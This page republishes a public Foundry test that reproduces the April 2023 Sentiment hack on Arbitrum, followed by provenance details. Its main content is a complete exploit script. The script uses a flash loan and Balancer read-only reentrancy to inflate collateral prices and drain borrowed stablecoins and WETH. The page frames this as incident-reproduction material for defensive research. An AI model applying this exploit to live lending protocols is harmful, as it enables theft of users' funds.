Public reproduction file
src/test/2023-04/Sentiment_exp.sol
Public reproduction file for dataset entry Sentiment.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/peckshield/status/16434174678790594569// https://twitter.com/spreekaway/status/164331347118064436010// https://medium.com/coinmonks/theoretical-practical-balancer-and-read-only-reentrancy-part-1-d6a21792066c11// @TX12// https://arbiscan.io/tx/0xa9ff2b587e2741575daf893864710a5cbb44bb64ccdc487a100fa20741e0f74d13// @Summary14// Attacker used view re-entrance Balancer bug to execute malicious code before pool balances were updated and steal money using overpriced collateral16interface IWeightedBalancerLPOracle {17 function getPrice(18 address token19 ) external view returns (uint256);20}22interface IAccountManager {23 function riskEngine() external;24 function openAccount(25 address owner26 ) external returns (address);27 function borrow(address account, address token, uint256 amt) external;29 function deposit(address account, address token, uint256 amt) external;31 function exec(address account, address target, uint256 amt, bytes calldata data) external;33 function approve(address account, address token, address spender, uint256 amt) external;34}36interface IBalancerToken is IERC20 {37 function getPoolId() external view returns (bytes32);38}40contract ContractTest is Test {41 IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);42 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);43 IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);44 IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);45 IERC20 FRAX = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);46 address FRAXBP = 0xC9B8a3FDECB9D5b218d02555a8Baf332E5B740d5;47 address account;48 bytes32 PoolId;49 uint256 nonce;50 IBalancerToken balancerToken = IBalancerToken(0x64541216bAFFFEec8ea535BB71Fbc927831d0595);51 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);52 IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);53 IAccountManager AccountManager = IAccountManager(0x62c5AA8277E49B3EAd43dC67453ec91DC6826403);54 IWeightedBalancerLPOracle WeightedBalancerLPOracle =55 IWeightedBalancerLPOracle(0x16F3ae9C1727ee38c98417cA08BA785BB7641b5B);56 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);58 function setUp() public {59 cheats.createSelectFork("arbitrum", 77_026_912);60 cheats.label(address(WBTC), "WBTC");61 cheats.label(address(USDT), "USDT");62 cheats.label(address(USDC), "USDC");63 cheats.label(address(WETH), "WETH");64 cheats.label(address(FRAX), "FRAX");65 cheats.label(address(account), "account");66 cheats.label(address(Balancer), "Balancer");67 cheats.label(address(aaveV3), "aaveV3");68 cheats.label(address(balancerToken), "balancerToken");69 cheats.label(address(AccountManager), "AccountManager");70 cheats.label(address(WeightedBalancerLPOracle), "WeightedBalancerLPOracle");71 }73 function testExploit() external {74 payable(address(0)).transfer(address(this).balance);75 AccountManager.riskEngine();76 address[] memory assets = new address[](3);77 assets[0] = address(WBTC);78 assets[1] = address(WETH);79 assets[2] = address(USDC);80 uint256[] memory amounts = new uint256[](3);81 amounts[0] = 606 * 1e8;82 amounts[1] = 10_050_100 * 1e15;83 amounts[2] = 18_000_000 * 1e6;84 uint256[] memory modes = new uint256[](3);85 modes[0] = 0;86 modes[1] = 0;87 modes[2] = 0;88 aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);90 console.log("\r");91 emit log_named_decimal_uint(92 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()93 );94 emit log_named_decimal_uint(95 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()96 );97 emit log_named_decimal_uint(98 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()99 );100 emit log_named_decimal_uint(101 "Attacker WBTC balance after exploit", WBTC.balanceOf(address(this)), WBTC.decimals()102 );103 }105 function executeOperation(106 address[] calldata assets,107 uint256[] calldata amounts,108 uint256[] calldata premiums,109 address initiator,110 bytes calldata params111 ) external payable returns (bool) {112 depositCollateral(assets);113 joinPool(assets);114 exitPool();115 WETH.approve(address(aaveV3), type(uint256).max);116 WBTC.approve(address(aaveV3), type(uint256).max);117 USDC.approve(address(aaveV3), type(uint256).max);118 return true;119 }121 function depositCollateral(122 address[] calldata assets123 ) internal {124 WETH.withdraw(100 * 1e15);125 account = AccountManager.openAccount(address(this));126 WETH.approve(address(AccountManager), 50 * 1e18);127 AccountManager.deposit(account, address(WETH), 50 * 1e18);128 AccountManager.approve(account, address(WETH), address(Balancer), 50 * 1e18);129 PoolId = balancerToken.getPoolId();130 uint256[] memory amountIn = new uint256[](3);131 amountIn[0] = 0;132 amountIn[1] = 50 * 1e18;133 amountIn[2] = 0;134 bytes memory userDatas = abi.encode(uint256(1), amountIn, uint256(0));135 IBalancerVault.JoinPoolRequest memory joinPoolRequest_1 = IBalancerVault.JoinPoolRequest({136 asset: assets,137 maxAmountsIn: amountIn,138 userData: userDatas,139 fromInternalBalance: false140 });141 // "joinPool(bytes32,address,address,(address[],uint256[],bytes,bool))"142 bytes memory execData = abi.encodeWithSelector(0xb95cac28, PoolId, account, account, joinPoolRequest_1);143 AccountManager.exec(account, address(Balancer), 0, execData); // deposit 50 WETH144 }146 function joinPool(147 address[] calldata assets148 ) internal {149 WETH.approve(address(Balancer), 10_000 * 1e18);150 WBTC.approve(address(Balancer), 606 * 1e18);151 USDC.approve(address(Balancer), 18_000_000 * 1e6);152 uint256[] memory amountIn = new uint256[](3);153 amountIn[0] = 606 * 1e8;154 amountIn[1] = 10_000 * 1e18;155 amountIn[2] = 18_000_000 * 1e6;156 bytes memory userDatas = abi.encode(uint256(1), amountIn, uint256(0));157 IBalancerVault.JoinPoolRequest memory joinPoolRequest_2 = IBalancerVault.JoinPoolRequest({158 asset: assets,159 maxAmountsIn: amountIn,160 userData: userDatas,161 fromInternalBalance: false162 });163 Balancer.joinPool{value: 0.1 ether}(PoolId, address(this), address(this), joinPoolRequest_2);164 console.log(165 "Before Read-Only-Reentrancy Collateral Price \t", WeightedBalancerLPOracle.getPrice(address(balancerToken))166 );167 }169 function exitPool() internal {170 balancerToken.approve(address(Balancer), 0);171 address[] memory assetsOut = new address[](3);172 assetsOut[0] = address(WBTC);173 assetsOut[1] = address(0);174 assetsOut[2] = address(USDC);175 uint256[] memory amountOut = new uint256[](3);176 amountOut[0] = 606 * 1e8;177 amountOut[1] = 5000 * 1e18;178 amountOut[2] = 9_000_000 * 1e6;179 uint256 balancerTokenAmount = balancerToken.balanceOf(address(this));180 bytes memory userDatas = abi.encode(uint256(1), balancerTokenAmount);181 IBalancerVault.ExitPoolRequest memory exitPoolRequest = IBalancerVault.ExitPoolRequest({182 asset: assetsOut,183 minAmountsOut: amountOut,184 userData: userDatas,185 toInternalBalance: false186 });187 Balancer.exitPool(PoolId, address(this), payable(address(this)), exitPoolRequest);188 console.log(189 "After Read-Only-Reentrancy Collateral Price \t", WeightedBalancerLPOracle.getPrice(address(balancerToken))190 );191 address(WETH).call{value: address(this).balance}("");192 }194 fallback() external payable {195 if (nonce == 2) {196 console.log(197 "In Read-Only-Reentrancy Collateral Price \t", WeightedBalancerLPOracle.getPrice(address(balancerToken))198 );199 borrowAll();200 }201 nonce++;202 }204 function borrowAll() internal {205 AccountManager.borrow(account, address(USDC), 461_000 * 1e6);206 AccountManager.borrow(account, address(USDT), 361_000 * 1e6);207 AccountManager.borrow(account, address(WETH), 81 * 1e18);208 AccountManager.borrow(account, address(FRAX), 125_000 * 1e18);209 AccountManager.approve(account, address(FRAX), FRAXBP, type(uint256).max);210 bytes memory execData =211 abi.encodeWithSignature("exchange(int128,int128,uint256,uint256)", 0, 1, 120_000 * 1e18, 1);212 AccountManager.exec(account, FRAXBP, 0, execData);213 AccountManager.approve(account, address(USDC), address(aaveV3), type(uint256).max);214 AccountManager.approve(account, address(USDT), address(aaveV3), type(uint256).max);215 AccountManager.approve(account, address(WETH), address(aaveV3), type(uint256).max);216 execData =217 abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(USDC), 580_000 * 1e6, account, 0);218 AccountManager.exec(account, address(aaveV3), 0, execData);219 execData =220 abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(USDT), 360_000 * 1e6, account, 0);221 AccountManager.exec(account, address(aaveV3), 0, execData);222 execData =223 abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(WETH), 80 * 1e18, account, 0);224 AccountManager.exec(account, address(aaveV3), 0, execData);225 execData = abi.encodeWithSignature(226 "withdraw(address,uint256,address)", address(USDC), type(uint256).max, address(this)227 );228 AccountManager.exec(account, address(aaveV3), 0, execData);229 execData = abi.encodeWithSignature(230 "withdraw(address,uint256,address)", address(USDT), type(uint256).max, address(this)231 );232 AccountManager.exec(account, address(aaveV3), 0, execData);233 execData = abi.encodeWithSignature(234 "withdraw(address,uint256,address)", address(WETH), type(uint256).max, address(this)235 );236 AccountManager.exec(account, address(aaveV3), 0, execData);237 }238}Analysis
Dataset entry
Public Foundry test for “Sentiment” (2023-04-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
- src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
- src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
- src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
- src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
- src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
- src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
- src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
- src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
- src/test/2023-04/Swapos_exp.solSame month in the dataset · 46 lines
- src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Sentiment
- Path
- src/test/2023-04/Sentiment_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 678c37869dd95616d595df710aced19f961f0af8
- Language
- Solidity
- Size
- 239 lines
- Date
- 2023-04-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-04/Sentiment_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 678c37869dd95616d595df710aced19f961f0af8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.